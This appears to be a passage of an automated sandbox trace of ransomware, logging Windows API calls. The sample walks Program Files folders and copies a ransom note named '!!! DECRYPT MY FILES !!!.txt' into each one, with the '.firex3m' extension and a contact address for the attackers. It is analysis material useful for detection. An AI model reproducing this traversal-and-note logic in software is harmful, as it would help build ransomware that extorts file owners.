[0112.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0112.301] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.301] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0112.301] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 1 [0112.301] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui") returned 0x48 [0112.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.301] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.301] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.301] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.301] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0112.302] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0112.302] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\", len=0x41 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\") returned 1 [0112.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0112.302] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.302] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0112.303] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.303] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0112.304] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\", len=0x48 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 1 [0112.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0112.304] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.304] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0112.304] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.304] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0112.304] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", len=0x53 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0112.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x53 [0112.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.305] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.305] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0112.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0112.305] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5380 [0112.305] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0112.305] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0112.308] GetProcessHeap () returned 0x630000 [0112.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998e8, Size=0x2c) returned 0x6ed6310 [0112.308] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.308] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.309] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0112.309] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", len=0x4b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0112.309] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 0x4b [0112.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.309] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.309] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0112.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0112.310] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0112.310] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.310] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0112.312] GetProcessHeap () returned 0x630000 [0112.312] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6310, Size=0x30) returned 0x6ed6070 [0112.312] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert", cAlternateFileName="")) returned 1 [0112.312] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\", len=0x48 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\") returned 1 [0112.312] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\") returned 0x48 [0112.313] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.313] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6d4, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0112.313] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.314] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0112.314] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", len=0x56 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 1 [0112.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", cchLength=0x56 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 0x56 [0112.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.314] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.314] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0112.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0112.314] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5400 [0112.315] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0112.315] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0112.317] GetProcessHeap () returned 0x630000 [0112.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed62a0, Size=0x30) returned 0x6ed5e40 [0112.318] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.318] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.318] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0112.318] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", len=0x4b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 1 [0112.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 0x4b [0112.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.318] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.319] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.319] GetProcessHeap () returned 0x630000 [0112.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5e40, Size=0x34) returned 0x6d4f80 [0112.319] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 